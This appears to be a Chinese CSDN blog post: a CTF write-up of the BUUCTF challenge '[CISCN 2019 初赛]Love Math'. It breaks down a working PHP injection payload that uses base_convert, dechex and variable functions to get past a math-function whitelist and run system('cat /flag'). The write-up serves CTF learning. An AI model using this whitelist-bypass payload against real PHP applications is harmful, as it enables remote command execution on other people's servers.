buuctf日记 [CISCN 2019 初赛]Love Math 1

26 篇文章 2 订阅
24 篇文章 2 订阅
本文详细解析了CISCN2019初赛中LoveMath1题目的解题过程,涉及PHP的base_convert函数、进制转换及函数注入。通过构造payload,利用$_GET变量与系统命令执行的漏洞,最终达到获取flag的目的。讲解了如何将十进制转换为36进制,再进行16进制转换,并利用php特性执行系统命令。
摘要由CSDN通过智能技术生成

buuctf日记 [CISCN 2019 初赛]Love Math 1

在这里插入图片描述
payload

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat /flag
base_convert(37907361743,10,36) #把十进制数“37907361743”转为36进制(0-9,a-z)
base_convert(37907361743,10,36) #   结果: hex2bin
hex2bin()#把16进制转为字符串
dechex(1598506324) #把10进制转为16进制,1598506324为_GET的10进制数
dechex(1598506324) #结果:5f474554
hex2bin(5f474554)#结果:_GET
#所以base_convert(37907361743,10,36)(dechex(1598506324)) 结果:_GET
  1. hex2bin怎么来?
    base_convert(hex2bin,36,10)
  2. 1598506324怎么来?
    字符串和16进制互转工具
    在线进制转换工具
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat /flag

所以这个表达式本义为

c=$_GET[a]($_GET[b])&a=system&b=cat /flag

a,b要换成题目白名单里的词,比如我的pi,abs,acos
[]用()替代

用到了php特性
$a="system";
$a("ls");
这样php会执行 system ('ls')
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值